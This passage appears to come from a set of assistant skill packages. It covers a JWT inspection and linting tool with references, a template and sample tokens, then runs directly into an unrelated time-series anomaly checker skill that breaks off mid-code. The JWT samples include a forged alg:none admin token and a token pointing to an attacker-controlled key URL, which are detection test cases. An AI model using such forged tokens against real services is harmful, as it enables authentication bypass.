Use `references/common-jwt-pitfalls.md`: pin the algorithm list on the verifier, keep access tokens short (5-15 minutes) with refresh tokens, move personal data out of the payload, allow 30-60 seconds of leeway, and fetch keys only from a configured JWKS URL.
### 5. Report
Fill `templates/jwt-review.md` with the token fingerprint (never the token), findings, root cause, and the agreed fix.
## Rules
- Decoding is not verification. Never say a token is valid unless its signature was checked with the right key.
- Never print or store full tokens, signatures, or secrets. Pass secrets through an environment variable, not the command line.
- Do not help forge, replay, or tamper with tokens for systems the user does not own.
- RS/ES/PS/EdDSA signatures need the public key and a proper JOSE library; the script only verifies HMAC algorithms.
FILE:references/claims-and-validation.md
# Claims and Validation Order
## Registered claims (RFC 7519)
| Claim | Meaning | Type | Notes |
|---|---|---|---|
| iss | Issuer | string/URL | Pin it on the verifier; one issuer per trust domain |
| sub | Subject (user or service id) | string | Stable id, not an email that can change |
| aud | Audience | string or array | The API must find its own id in it |
| exp | Expiration time | NumericDate (seconds) | Required for access tokens |
| nbf | Not before | NumericDate | Token is rejected until then |
| iat | Issued at | NumericDate | Used for lifetime and freshness checks |
| jti | Token id | string | Enables revocation lists and replay detection |
NumericDate is seconds since 1970-01-01T00:00:00Z. A 13-digit value is milliseconds and will be read as a date tens of thousands of years away.
## Header parameters
- `alg` - signing algorithm. The verifier decides which values are allowed; the token never does.
- `kid` - key id, used to pick the right key from the issuer's JWKS during rotation.
- `typ` - usually `JWT` or `at+jwt` (access token profile, RFC 9068).
- `jku`, `x5u`, `jwk` - point to or embed keys. Ignore them unless they match a pinned, trusted source.
## What a verifier must check, in order
1. Token has three segments and decodes to JSON objects.
2. `alg` is in the verifier's allow-list (for example only RS256). Reject `none`.
3. Signature verifies with a key chosen by `kid` from a trusted JWKS, never from the token itself.
4. `exp` is in the future and `nbf` is in the past, both with small leeway (30-60 s).
5. `iss` equals the expected issuer.
6. `aud` contains this service's id.
7. Application rules: scopes, roles, tenant, `jti` not revoked.
## Matching 401 symptoms to causes
| Symptom | Likely cause | Check |
|---|---|---|
| Works locally, fails in prod | Clock skew or different issuer URL | iat/nbf vs server time, iss |
| Fails right after login | nbf or iat in the future | server clocks (NTP) |
| Fails for one API only | Wrong audience | aud list |
| Fails after key rotation | Unknown kid or cached JWKS | kid vs JWKS, cache TTL |
| Never expires | exp missing or in milliseconds | exp value |
FILE:references/common-jwt-pitfalls.md
# Common JWT Pitfalls
1. **Accepting `alg: none`.** Unsigned tokens are forgeable. Fix: pass an explicit algorithm allow-list to the verify call.
2. **Algorithm confusion (RS256 vs HS256).** If a verifier accepts both, an attacker can sign with HMAC using the public key as the secret. Fix: one algorithm family per key.
3. **Trusting keys from the token.** `jku`, `x5u`, or an embedded `jwk` let the sender choose the key. Fix: load keys only from a configured JWKS URL.
4. **Weak HMAC secrets.** Short or dictionary secrets can be brute-forced offline from one token. Fix: at least 32 random bytes for HS256 (48 for HS384, 64 for HS512), stored in a secret manager.
5. **Long-lived access tokens.** A leaked token works until exp. Fix: 5-15 minute access tokens plus rotating refresh tokens; revoke by `jti` if needed.
6. **Personal data in the payload.** Base64url is encoding, not encryption; anyone holding the token can read it. Fix: keep ids and scopes only, or use JWE.
7. **Milliseconds instead of seconds.** Common with `Date.now()` in JavaScript. Fix: `Math.floor(Date.now() / 1000)`.
8. **No leeway.** Small clock differences cause random 401s. Fix: 30-60 seconds of leeway and NTP on all hosts.
9. **Skipping aud/iss checks.** A token for one service gets replayed against another. Fix: always validate both.
10. **Tokens in URLs or logs.** They leak through referrers, proxies, and log search. Fix: send in the Authorization header and redact in logs.
FILE:templates/jwt-review.md
# JWT Review - <service or ticket>
**Token fingerprint:** sha256 <first 12 hex chars> **Environment:** <dev / staging / prod> **Checked at:** <UTC time>
**Issuer:** <iss> **Audience:** <aud> **Algorithm:** <alg> **Lifetime:** <exp - iat>
## Findings
| Severity | Code | Detail | Fix |
|---|---|---|---|
| | | | |
## Root cause
<one or two sentences tying the finding to the reported symptom>
## Agreed changes
- [ ] Verifier: <allow-list, leeway, iss/aud checks>
- [ ] Issuer: <lifetime, claims, key size, kid>
- [ ] Rotate exposed token or secret: <yes/no, owner>
## Notes
Decoded with scripts/jwt_inspect.py. The token itself is not stored in this report.
FILE:examples/sample-tokens.md
# Sample Tokens (demo only, no real systems)
Run each with:
```
python3 scripts/jwt_inspect.py "<token>" --now 2026-10-19T09:00:00Z --expect-aud api://orders
```
## 1. Long-lived customer token (HS256, demo secret "dev-secret")
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJjdXN0Xzg4NDEiLCJhdWQiOlsiYXBpOi8vb3JkZXJzIiwiYXBpOi8vcHJvZmlsZSJdLCJpYXQiOjE3OTIzOTUwMDAsImV4cCI6MTc5Mjk5OTgwMCwiZW1haWwiOiJtaW5hQGV4YW1wbGUuY29tIiwicm9sZXMiOlsiY3VzdG9tZXIiXSwiY2FyZF9sYXN0NCI6IjQyNDIifQ.xupeoN2LYDYe-FKD_4qOh7KCw6G68Zi1pCms7dtUGh0
```
Expected: exit 0; medium lifetime_long (7.0d over 1.0d policy), medium sensitive_claim (card_last4). With `--secret-env` set to "dev-secret": signature verified, plus medium weak_secret (10 bytes).
## 2. Unsigned admin token (alg none)
```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjM5NTAwMH0.
```
Expected: exit 1; high alg_none, high aud_mismatch (no aud but api://orders required), medium exp_missing.
## 3. Remote key URL and millisecond expiry (RS256)
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8va2V5cy5hdHRhY2tlci5leGFtcGxlL2p3a3MuanNvbiJ9.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJzdmMtcmVwb3J0cyIsImF1ZCI6ImFwaTovL29yZGVycyIsImlhdCI6MTc5MjM5NTAwMCwiZXhwIjoxNzkyMzk4NjAwMDAwfQ.bm90LWEtcmVhbC1zaWduYXR1cmUtanVzdC1hLWRlbW8
```
Expected: exit 1; high exp_milliseconds, high header_jku, low kid_missing.
FILE:scripts/jwt_inspect.py
#!/usr/bin/env python3
"""JWT token inspector and claim linter (Python 3 standard library only).
Decodes a JSON Web Token (JWS compact form: header.payload.signature) WITHOUT trusting it,
prints the header and claims with human-readable times, and flags risky or broken settings.
Optionally verifies HS256/HS384/HS512 signatures when you pass the shared secret.
Usage:
python3 jwt_inspect.py <token> # or "-" to read the token from stdin
python3 jwt_inspect.py <token> --now 2026-10-19T09:00:00Z --leeway 60
python3 jwt_inspect.py <token> --expect-iss https://auth.example.com --expect-aud api://orders
python3 jwt_inspect.py <token> --secret-env JWT_SECRET # verify HS* with a secret from an env var
python3 jwt_inspect.py <token> --max-lifetime 3600 --json
python3 jwt_inspect.py --self-test
Severity: high (token unsafe or unusable), medium (likely bug or weak policy), low (hygiene).
Exit code: 0 no high findings, 1 at least one high finding (or --strict and any finding), 2 bad input.
The signature itself is never printed; only its length and a short SHA-256 fingerprint of the token.
"""
import argparse
import base64
import datetime as dt
import hashlib
import hmac
import json
import os
import re
import sys
HS_ALGS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
MIN_HS_SECRET = {"HS256": 32, "HS384": 48, "HS512": 64}
KNOWN_ALGS = set(HS_ALGS) | {"RS256", "RS384", "RS512", "PS256", "PS384", "PS512",
"ES256", "ES384", "ES512", "EdDSA"}
SENSITIVE = re.compile(r"(pass(word)?|pwd|secret|ssn|social|credit|card|cvv|iban|private|api_?key|refresh_?token)", re.I)
TIME_CLAIMS = ("exp", "nbf", "iat")
class TokenError(ValueError):
pass
def b64url_decode(part, what):
if not re.fullmatch(r"[A-Za-z0-9_-]*", part):
raise TokenError(f"{what} is not base64url (found characters outside A-Z a-z 0-9 - _ or '=' padding)")
try:
return base64.urlsafe_b64decode(part + "=" * (-len(part) % 4))
except (ValueError, TypeError) as e:
raise TokenError(f"{what} could not be base64url-decoded: {e}")
def b64url_encode(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")
def decode(token):
token = token.strip()
if token.lower().startswith("bearer "):
token = token[7:].strip()
parts = token.split(".")
if len(parts) == 5:
raise TokenError("5 segments: this is an encrypted JWE, not a signed JWS; it cannot be inspected without the key")
if len(parts) != 3:
raise TokenError(f"expected 3 dot-separated segments, found {len(parts)}")
out = {}
for name, part in (("header", parts[0]), ("payload", parts[1])):
raw = b64url_decode(part, name)
try:
obj = json.loads(raw.decode("utf-8"))
except (UnicodeDecodeError, ValueError):
raise TokenError(f"{name} is not valid UTF-8 JSON")
if not isinstance(obj, dict):
raise TokenError(f"{name} must be a JSON object")
out[name] = obj
out["signature"] = b64url_decode(parts[2], "signature")
out["signing_input"] = (parts[0] + "." + parts[1]).encode("ascii")
out["fingerprint"] = hashlib.sha256(token.encode("utf-8")).hexdigest()[:12]
return out
def parse_now(value):
if value is None:
return int(dt.datetime.now(dt.timezone.utc).timestamp())
if re.fullmatch(r"\d+", value):
return int(value)
t = dt.datetime.fromisoformat(value.replace("Z", "+00:00"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return int(t.timestamp())
def iso(ts):
try:
return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
except (OverflowError, OSError, ValueError, TypeError):
return "invalid"
def human_delta(seconds):
s = abs(int(seconds))
for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
if s >= size:
return f"{s / size:.1f}{unit}"
return f"{s}s"
def verify_hs(tok, secret):
alg = tok["header"].get("alg")
fn = HS_ALGS.get(alg)
if fn is None:
return None
mac = hmac.new(secret.encode("utf-8"), tok["signing_input"], fn).digest()
return hmac.compare_digest(mac, tok["signature"])
def inspect(token, now=None, leeway=0, expect_iss=None, expect_aud=None, max_lifetime=86400, secret=None):
tok = decode(token)
h, p = tok["header"], tok["payload"]
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
alg = h.get("alg")
if alg is None:
add("high", "alg_missing", "header has no 'alg'; libraries may reject it or guess")
elif str(alg).lower() == "none":
add("high", "alg_none", "alg is 'none': the token is unsigned and anyone can forge it")
if tok["signature"]:
add("medium", "none_with_signature", "alg 'none' but a signature segment is present")
elif alg not in KNOWN_ALGS:
add("medium", "alg_unknown", f"unusual alg '{alg}'")
if alg and str(alg).lower() != "none" and not tok["signature"]:
add("high", "signature_empty", "signature segment is empty although alg requires one")
for key in ("jku", "x5u"):
if key in h:
add("high", f"header_{key}", f"header '{key}' points to a remote key URL ({h[key]}); never fetch keys from a URL inside the token")
if "jwk" in h:
add("high", "header_jwk", "header embeds its own 'jwk'; a verifier that trusts it accepts attacker keys")
if "crit" in h:
add("medium", "header_crit", f"'crit' lists extensions {h['crit']}; verifiers must understand them or reject the token")
if alg in KNOWN_ALGS and alg not in HS_ALGS and "kid" not in h:
add("low", "kid_missing", "asymmetric alg without 'kid'; key rotation will be painful")
now = parse_now(now) if not isinstance(now, int) else now
times = {}
for c in TIME_CLAIMS:
if c in p:
v = p[c]
if isinstance(v, bool) or not isinstance(v, (int, float)):
add("high", f"{c}_not_numeric", f"'{c}' must be NumericDate seconds, got {v!r}")
elif v > 10**11:
add("high", f"{c}_milliseconds", f"'{c}'={v} looks like milliseconds; JWT uses seconds")
else:
times[c] = int(v)
if "exp" not in p:
add("medium", "exp_missing", "no 'exp': the token never expires")
elif "exp" in times and times["exp"] + leeway < now:
add("high", "expired", f"expired at {iso(times['exp'])} ({human_delta(now - times['exp'])} ago)")
if "nbf" in times and times["nbf"] - leeway > now:
add("high", "not_yet_valid", f"not valid before {iso(times['nbf'])} ({human_delta(times['nbf'] - now)} from now)")
if "iat" in times and times["iat"] - leeway > now:
add("medium", "iat_future", f"issued in the future ({iso(times['iat'])}); check clock skew")
if "exp" in times and "iat" in times:
life = times["exp"] - times["iat"]
if life <= 0:
add("high", "exp_before_iat", "exp is not after iat")
elif max_lifetime and life > max_lifetime:
add("medium", "lifetime_long", f"lifetime {human_delta(life)} exceeds policy {human_delta(max_lifetime)}")
if "iss" not in p:
add("low", "iss_missing", "no 'iss'; verifiers cannot pin the issuer")
elif expect_iss and p["iss"] != expect_iss:
add("high", "iss_mismatch", f"iss '{p['iss']}' != expected '{expect_iss}'")
aud = p.get("aud")
auds = aud if isinstance(aud, list) else ([aud] if aud is not None else [])
if aud is None and expect_aud:
add("high", "aud_mismatch", f"no 'aud' claim but '{expect_aud}' is required")
elif aud is None:
add("low", "aud_missing", "no 'aud'; the token could be replayed against another service")
elif expect_aud and expect_aud not in auds:
add("high", "aud_mismatch", f"aud {auds} does not contain expected '{expect_aud}'")
if "sub" not in p:
add("low", "sub_missing", "no 'sub'; who is this token about?")
for k in p:
if SENSITIVE.search(k):
add("medium", "sensitive_claim", f"claim '{k}' looks sensitive; JWT payloads are only encoded, not encrypted")
verified = None
if secret is not None:
if alg not in HS_ALGS:
add("low", "verify_skipped", f"--secret only verifies HS256/384/512; alg is {alg}")
else:
verified = verify_hs(tok, secret)
if not verified:
add("high", "bad_signature", "HMAC signature does NOT match the given secret")
if len(secret.encode("utf-8")) < MIN_HS_SECRET[alg]:
add("medium", "weak_secret", f"{alg} secret is {len(secret.encode('utf-8'))} bytes; use at least {MIN_HS_SECRET[alg]} random bytes")
order = {"high": 0, "medium": 1, "low": 2}
findings.sort(key=lambda f: (order[f["severity"]], f["code"]))
return {
"fingerprint": tok["fingerprint"],
"header": h,
"payload": p,
"times": {c: iso(v) for c, v in times.items()},
"now": iso(now),
"signature_bytes": len(tok["signature"]),
"signature_verified": verified,
"findings": findings,
}
def to_markdown(r):
lines = [f"# JWT inspection (sha256 {r['fingerprint']})", "",
f"Checked at {r['now']}. Signature: {r['signature_bytes']} bytes"
+ ("" if r["signature_verified"] is None else (", verified OK" if r["signature_verified"] else ", NOT verified")), "",
"## Header", "```json", json.dumps(r["header"], indent=2, ensure_ascii=False), "```", "",
"## Claims", "```json", json.dumps(r["payload"], indent=2, ensure_ascii=False), "```", ""]
if r["times"]:
lines += ["| Claim | UTC |", "|---|---|"] + [f"| {k} | {v} |" for k, v in r["times"].items()] + [""]
lines += ["## Findings"]
if not r["findings"]:
lines.append("No findings.")
else:
lines += ["| Severity | Code | Detail |", "|---|---|---|"]
lines += [f"| {f['severity']} | {f['code']} | {f['message']} |" for f in r["findings"]]
return "\n".join(lines)
def make_token(header, payload, secret=None, signature=b""):
si = b64url_encode(json.dumps(header, separators=(",", ":")).encode()) + "." + \
b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
if secret is not None:
signature = hmac.new(secret.encode(), si.encode(), HS_ALGS[header["alg"]]).digest()
return si + "." + b64url_encode(signature)
def self_test():
now = 1760860800 # 2025-10-19T08:00:00Z
strong = "k" * 40
good_claims = {"iss": "https://auth.example.com", "sub": "user-42", "aud": "api://orders",
"iat": now - 60, "exp": now + 840}
good = make_token({"alg": "HS256", "typ": "JWT"}, good_claims, strong)
codes = lambda r: {f["code"] for f in r["findings"]}
cases = []
def check(name, cond):
cases.append((name, bool(cond)))
r = inspect(good, now=now, secret=strong, expect_iss="https://auth.example.com", expect_aud="api://orders")
check("clean token has no findings", r["findings"] == [])
check("clean token signature verified", r["signature_verified"] is True)
check("bearer prefix accepted", inspect("Bearer " + good, now=now)["payload"]["sub"] == "user-42")
check("wrong secret flagged", "bad_signature" in codes(inspect(good, now=now, secret="x" * 40)))
check("weak secret flagged", "weak_secret" in codes(inspect(make_token({"alg": "HS256"}, good_claims, "short"), now=now, secret="short")))
check("alg none flagged high", "alg_none" in codes(inspect(make_token({"alg": "none"}, good_claims), now=now)))
check("expired flagged", "expired" in codes(inspect(good, now=now + 3600)))
check("leeway tolerates small skew", "expired" not in codes(inspect(good, now=now + 850, leeway=30)))
check("nbf in future flagged", "not_yet_valid" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, nbf=now + 600), strong), now=now)))
check("exp missing flagged", "exp_missing" in codes(inspect(make_token({"alg": "HS256"}, {"sub": "a", "iat": now}, strong), now=now)))
check("milliseconds exp flagged", "exp_milliseconds" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, exp=(now + 600) * 1000), strong), now=now)))
check("long lifetime flagged", "lifetime_long" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, exp=now + 30 * 86400), strong), now=now)))
check("iss mismatch flagged", "iss_mismatch" in codes(inspect(good, now=now, expect_iss="https://evil.example")))
check("aud list accepted", "aud_mismatch" not in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, aud=["a", "api://orders"]), strong), now=now, expect_aud="api://orders")))
check("aud mismatch flagged", "aud_mismatch" in codes(inspect(good, now=now, expect_aud="api://billing")))
check("missing aud with expected aud is high", "aud_mismatch" in codes(inspect(make_token({"alg": "HS256"}, {k: v for k, v in good_claims.items() if k != "aud"}, strong), now=now, expect_aud="api://orders")))
check("jku header flagged", "header_jku" in codes(inspect(make_token({"alg": "RS256", "kid": "1", "jku": "https://x/keys"}, good_claims, signature=b"sig"), now=now)))
check("rs256 without kid is low", "kid_missing" in codes(inspect(make_token({"alg": "RS256"}, good_claims, signature=b"sig"), now=now)))
check("sensitive claim flagged", "sensitive_claim" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, password="hunter2"), strong), now=now)))
check("empty signature flagged", "signature_empty" in codes(inspect(make_token({"alg": "HS256"}, good_claims), now=now)))
for bad, label in (("abc.def", "two segments rejected"), ("a.b.c.d.e", "JWE rejected"), ("!!.e30.", "bad base64 rejected")):
try:
inspect(bad, now=now)
check(label, False)
except TokenError:
check(label, True)
check("markdown never prints signature", make_token({"alg": "HS256"}, good_claims, strong).split(".")[2] not in to_markdown(r))
passed = sum(ok for _, ok in cases)
for name, ok in cases:
print(("PASS " if ok else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Decode and lint a JWT without trusting it.")
ap.add_argument("token", nargs="?", help="JWT string, or '-' to read from stdin")
ap.add_argument("--now", help="reference time: ISO 8601 (Z or offset) or epoch seconds; default: current UTC time")
ap.add_argument("--leeway", type=int, default=0, help="allowed clock skew in seconds (default 0)")
ap.add_argument("--expect-iss")
ap.add_argument("--expect-aud")
ap.add_argument("--max-lifetime", type=int, default=86400, help="max exp-iat seconds before warning (0 = off)")
ap.add_argument("--secret-env", help="name of an environment variable holding the HS* secret (avoids shell history)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.token:
ap.error("token required (or --self-test)")
token = sys.stdin.read() if a.token == "-" else a.token
secret = None
if a.secret_env:
secret = os.environ.get(a.secret_env)
if secret is None:
print(f"error: environment variable {a.secret_env} is not set", file=sys.stderr)
return 2
try:
r = inspect(token, now=a.now, leeway=a.leeway, expect_iss=a.expect_iss, expect_aud=a.expect_aud,
max_lifetime=a.max_lifetime, secret=secret)
except (TokenError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
if any(f["severity"] == "high" for f in r["findings"]) or (a.strict and r["findings"]):
return 1
return 0
if __name__ == "__main__":
sys.exit(main())Checks CSV time series (metrics, sensor readings, sales by hour) for data problems before you chart or alert on them: missing intervals, duplicate or out-of-order timestamps, empty values, flatlines from stuck exporters, robust median/MAD spikes, and counter resets. Use when a dashboard looks wrong, before training a forecast, or when asking "is this data complete?". Includes a stdlib Python checker with --self-test.
---
name: time-series-gap-anomaly-checker
description: Checks CSV time series (metrics, sensor readings, sales by hour) for data problems before you chart or alert on them: missing intervals, duplicate or out-of-order timestamps, empty values, flatlines from stuck exporters, robust median/MAD spikes, and counter resets. Use when a dashboard looks wrong, before training a forecast, or when asking "is this data complete?". Includes a stdlib Python checker with --self-test.
---
# Time Series Gap and Anomaly Checker
You help analysts, SREs, and data engineers decide whether a time series can be trusted. You find where data is missing, repeated, stuck, or suspicious, explain the likely cause of each problem, and separate collection problems (the pipeline) from real events (the system being measured). You never silently fill gaps or delete outliers; you propose a treatment and say what it changes.
## Files in this skill
- `scripts/ts_check.py` - reads a CSV, infers the sampling interval, and reports gaps, duplicates, out-of-order rows, missing values, flatlines, spikes, and counter resets as markdown or JSON (Python 3 standard library only)
- `references/anomaly-methods.md` - how the checks work, how to tune thresholds, and when each method fails
- `references/gap-handling-playbook.md` - what to do with each kind of problem: fill, interpolate, drop, or annotate
- `templates/data-quality-report.md` - a report for a dashboard fix, incident review, or dataset hand-off
- `examples/api-metrics.csv` - three hours of 5-minute API metrics with a scrape outage, a duplicate, a stuck value, a latency spike, and a counter reset
## Workflow
### 1. Understand the series
Ask what each column measures, its unit, the expected sampling interval, and whether any column is a monotonic counter (requests_total, bytes_sent). Ask which time zone naive timestamps use; the script treats them as UTC.
### 2. Run the checker
```
python3 scripts/ts_check.py examples/api-metrics.csv --counter requests_total
python3 scripts/ts_check.py data.csv --time-col ts --cols temp_c,humidity --interval 10m
python3 scripts/ts_check.py data.csv --z 5 --window 12 --flatline-points 12 --json > report.json
python3 scripts/ts_check.py --self-test
```
Timestamps can be ISO 8601 or Unix epoch seconds or milliseconds. Exit code 1 when any issue is found, 2 on bad input, so it can run as a pipeline gate.
### 3. Read the results
- **Completeness** = rows present / rows expected over the range. Below 95% usually means aggregates and averages are biased.
- **gap**: spacing over 1.5x the interval. Long gaps at regular times often mean deploys or cron jobs; one long gap usually means an outage of the collector.
- **duplicate / out_of_order**: double scrapes, retries, or merged files.
- **flatline**: the same value repeated; real for on/off signals, suspicious for noisy measurements.
- **spike**: robust z-score against a rolling median. Check whether neighbouring columns spike at the same time (a real event) or not (a glitch).
- **reset**: a counter that went down, usually a process restart; rate calculations must handle it.
### 4. Recommend treatment
Use `references/gap-handling-playbook.md`. Tune thresholds with `references/anomaly-methods.md` if the data is seasonal, bursty, or very sparse.
### 5. Report
Fill `templates/data-quality-report.md` with the summary numbers, the top issues with times in the user's time zone, the suspected cause, and the agreed treatment.
## Rules
- Report problems; do not alter the source data. Write cleaned data to a new file and document every change.
- Do not call a spike an incident without corroboration (other metrics, logs, or a human).
- State the interval and thresholds you used so results are reproducible.
- Convert UTC times to the user's time zone when presenting them.
FILE:references/anomaly-methods.md
# Anomaly Methods and Tuning
## Interval inference
The expected interval is the median spacing between sorted unique timestamps. This survives a few gaps and jitter. Pass `--interval` when the series is mostly gaps (sparse events) or when you know the scrape interval.
A gap is any spacing above 1.5x the interval, so 5-minute data with a 7-minute spacing is not a gap but a 10-minute spacing is (1 missing point).
## Robust spikes (rolling median + MAD)
For each point, take up to `--window` neighbours on each side (excluding the point), compute their median and the median absolute deviation (MAD). The robust z-score is:
z = |value - median| / (1.4826 * MAD)
1.4826 makes MAD comparable to a standard deviation for normal data. Default threshold 4 is roughly a 1-in-15,000 event for normal noise. When more than half the neighbours are identical (MAD = 0), the mean absolute deviation is used, and for a perfectly flat neighbourhood 1% of the level.
Why not mean and standard deviation? One large spike inflates the standard deviation and hides itself. The median and MAD ignore it.
## Tuning
| Data | Suggestion |
|---|---|
| Noisy metrics (latency, CPU) | `--z 5`, `--window 12` |
| Daily or weekly seasonality | Check one season at a time, or compare to the same hour last week before trusting spikes |
| Bursty business data (orders) | Higher `--z` (6-8); spikes are often real |
| Integer or low-resolution values | Expect MAD = 0; raise `--z` or aggregate first |
| On/off or status signals | Ignore flatline; check only gaps |
| Counters | Always pass `--counter`; check rates after handling resets |
## Known limits
- Gradual drifts and level shifts are not spikes; plot the series or compare week-over-week medians.
- The first and last few points have fewer neighbours, so their scores are less reliable.
- Irregular event streams (logins, purchases) have no fixed interval; aggregate into buckets first.
FILE:references/gap-handling-playbook.md
# Gap and Anomaly Handling Playbook
| Problem | Likely causes | Default treatment | Avoid |
|---|---|---|---|
| Short gap (1-2 points) | scrape timeout, network blip | Linear interpolation for smooth signals; leave null for counts | Filling counts with zero |
| Long gap | collector down, deploy, host off | Leave null and annotate the chart; exclude from SLO math or count as unknown | Interpolating across hours |
| Duplicate timestamps | double scrape, retried batch, merged files | Keep one row (first, or the one with most fields); check whether values differ | Summing duplicates |
| Out-of-order rows | late-arriving data, file concatenation | Sort by time before any windowed calculation | Assuming file order is time order |
| Missing values | sensor dropout, parse errors, "N/A" strings | Fix the parser first; then treat as a gap | Treating blank as 0 |
| Flatline | stuck exporter, cached value, sensor freeze | Confirm with a second source; mark as suspect | Trusting it for alerts |
| Spike (single point) | glitch, unit error, real burst | Check related columns and logs; cap or remove only with a documented reason | Deleting without a note |
| Counter reset | process restart, overflow | Compute rates per segment (rate after reset = new value / interval) | Negative rates |
## Before modeling or forecasting
1. Sort, de-duplicate, and regularize to the expected interval (insert nulls for missing slots).
2. Decide gap policy per column and record it.
3. Keep a mask column (`is_imputed`) so models and readers know what was filled.
4. Re-run the checker on the cleaned file and attach both reports.
## When to escalate
- Completeness under 90% for a metric used in an SLO or invoice.
- Gaps that repeat at the same time every day (a job is killing the collector).
- Spikes that appear in all hosts at once (a real incident, not a data issue).
FILE:templates/data-quality-report.md
# Time Series Data Quality - <dataset or dashboard>
**Source:** <file / query> **Range:** <start> to <end> (<time zone>) **Interval:** <expected>
**Rows:** <n> **Completeness:** <percent> **Thresholds:** z=<z>, window=<w>, flatline=<n>
## Summary
<two sentences: can this data be trusted for the intended use, and what must change first>
## Issues
| Kind | When (<time zone>) | Column | Detail | Suspected cause | Treatment |
|---|---|---|---|---|---|
| | | | | | |
## Decisions
- Gap policy: <interpolate short gaps / leave null / exclude>
- Outlier policy: <keep / cap / remove with note>
- Counter handling: <segment rates at resets>
## Follow-ups
- [ ] <fix collector / parser / alert> - owner <name> - due <date>
Generated with scripts/ts_check.py. Source data was not modified.
FILE:examples/api-metrics.csv
timestamp,p95_latency_ms,error_rate,requests_total
2026-10-18T22:00:00Z,182,0.4,1200
2026-10-18T22:05:00Z,176,0.3,2435
2026-10-18T22:10:00Z,190,0.5,3705
2026-10-18T22:15:00Z,185,0.4,5010
2026-10-18T22:20:00Z,179,0.3,6210
2026-10-18T22:25:00Z,188,0.4,7445
2026-10-18T22:30:00Z,181,0.5,8715
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:40:00Z,177,0.3,11220
2026-10-18T22:45:00Z,184,0.4,12455
2026-10-18T22:50:00Z,186,0.4,13725
2026-10-18T22:55:00Z,180,0.4,15030
2026-10-18T23:00:00Z,191,0.4,16230
2026-10-18T23:05:00Z,,0.4,17465
2026-10-18T23:10:00Z,178,0.4,18735
2026-10-18T23:15:00Z,187,0.4,20040
2026-10-18T23:20:00Z,182,0.4,21240
2026-10-18T23:25:00Z,189,0.4,22475
2026-10-18T23:30:00Z,612,2.1,23745
2026-10-18T23:35:00Z,185,0.5,25050
2026-10-18T23:40:00Z,180,0.3,26250
2026-10-18T23:45:00Z,184,0.4,27485
2026-10-19T00:10:00Z,188,0.5,28755
2026-10-19T00:15:00Z,183,0.4,30060
2026-10-19T00:20:00Z,177,0.3,31260
2026-10-19T00:25:00Z,185,0.4,32495
2026-10-19T00:30:00Z,182,0.5,1180
2026-10-19T00:35:00Z,189,0.4,2485
2026-10-19T00:40:00Z,184,0.3,3685
2026-10-19T00:45:00Z,180,0.4,4920
2026-10-19T00:50:00Z,186,0.5,6190
2026-10-19T00:55:00Z,183,0.4,7495
FILE:scripts/ts_check.py
#!/usr/bin/env python3
"""Time series gap and anomaly checker for CSV metrics (Python 3 standard library only).
Reads a CSV with a timestamp column and one or more numeric columns, infers the sampling
interval (median spacing) unless --interval is given, and reports:
gap missing samples (spacing > 1.5 x interval), with how many points are missing
duplicate repeated timestamps
out_of_order timestamps that go backwards
missing empty, NaN, or non-numeric values
flatline the same value repeated for >= --flatline-points samples (stuck sensor/exporter)
spike robust outliers: |value - rolling median| / (1.4826 * MAD) >= --z (default 4);
if MAD is 0 the mean absolute deviation is used instead
reset a counter column that decreases (--counter col1,col2)
Timestamps: ISO 8601 (with Z or offset; naive = UTC) or Unix epoch seconds/milliseconds.
Usage:
python3 ts_check.py metrics.csv
python3 ts_check.py metrics.csv --time-col ts --cols cpu,latency_ms --interval 5m --z 5
python3 ts_check.py metrics.csv --counter requests_total --json
python3 ts_check.py --self-test
Exit code: 0 clean, 1 issues found, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import re
import statistics
import sys
class InputError(ValueError):
pass
def parse_ts(raw):
s = (raw or "").strip()
if not s:
raise InputError("empty timestamp")
if re.fullmatch(r"-?\d+(\.\d+)?", s):
v = float(s)
return v / 1000.0 if v > 1e11 else v
try:
t = dt.datetime.fromisoformat(s.replace("Z", "+00:00").replace(" ", "T", 1))
except ValueError:
raise InputError(f"unparseable timestamp {s!r}")
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.timestamp()
def parse_interval(s):
m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*(ms|s|m|h|d)?", s.strip())
if not m:
raise InputError(f"bad interval {s!r}; use e.g. 30s, 5m, 1h")
mult = {"ms": 0.001, "s": 1, None: 1, "m": 60, "h": 3600, "d": 86400}[m.group(2)]
return float(m.group(1)) * mult
def fmt_ts(ts):
